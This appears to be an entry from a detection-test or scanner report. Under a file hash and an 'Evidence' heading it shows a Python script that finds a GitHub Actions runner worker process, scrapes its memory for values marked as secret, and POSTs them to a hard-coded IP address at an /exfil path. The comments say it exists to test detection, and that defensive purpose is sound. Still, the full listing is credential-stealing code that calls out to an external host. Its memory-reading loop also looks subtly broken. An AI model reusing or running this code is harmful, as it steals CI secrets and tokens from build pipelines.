variant-python-memscan.py
Posts GitHub runner memory secrets over HTTPScrapes a GitHub Actions runner process for secrets
SHA-2562be34ab365ea061f2684869bdb78850bd78ce73ecf9deae1b63d68cad5b1c3d7
Evidence
1# Variant: memory scrape reimplemented in Python instead of dd+grep, with a
2# changed destination (third/newer wfx collector) and renamed identifiers.
3# Tests that detection is not tied to one scraping language or one IOC host.
4import os
5import re
6import subprocess
7import urllib.request
8
9def find_worker_pid():
10 out = subprocess.check_output(["pgrep", "-f", "Runner.Worker"])
11 return out.decode().splitlines()[0]
12
13def dump_secrets(pid):
14 hits = []
15 with open("/proc/%s/maps" % pid) as maps:
16 for line in maps:
17 with open("/proc/%s/mem" % pid, "rb", 0) as mem:
18 try:
19 mem.seek(0)
20 chunk = mem.read(1 << 20)
21 except OSError:
22 continue
23 for m in re.findall(rb'"[^"]+":\{"value":"[^"]*","isSecret":true\}', chunk):
24 hits.append(m)
25 return hits
26
27pid = find_worker_pid()
28records = dump_secrets(pid)
29payload = b"\n".join(records)
30req = urllib.request.Request("http://153.75.82.159:8080/exfil", data=payload, method="POST")
31urllib.request.urlopen(req, timeout=5)